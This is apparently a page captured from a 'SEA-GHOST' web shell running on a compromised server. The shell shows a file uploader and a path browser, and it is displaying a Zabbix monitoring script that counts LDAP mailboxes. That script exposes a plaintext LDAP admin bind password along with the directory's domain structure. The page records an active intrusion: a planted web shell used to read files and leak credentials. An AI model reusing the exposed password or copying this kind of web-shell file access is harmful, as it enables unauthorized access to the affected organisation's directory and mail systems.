[ SEA-GHOST MINI SHELL]

Path : /proc/3/cwd/var/lib/zabbix/
FILE UPLOADER :
Current File : //proc/3/cwd/var/lib/zabbix/ldap_mailboxes_count.sh

erver=`hostname`
countfile=/tmp/mailboxes
if [ -s $countfile ] && [ `find $countfile -mmin -360` ]
then
  count=`cat $countfile`
else
  count=$(ldapsearch -H ldap://${ldapserver}/ -D "cn=admin,dc=au,dc=syrahost,dc=com" -w 66ctGEtqpQeyKcK3EVcpsBQBBuf2j8j2WHAf -b ou=domains,dc=au,dc=syrahost,dc=com -s sub \(objectclass=mailUser\)|grep 'dn:'|grep -v 'CATCHALL'|wc -l)
  echo $count > $countfile
fi
echo "$count"

SEA-GHOST - SHELL CODING BY SEA-GHOST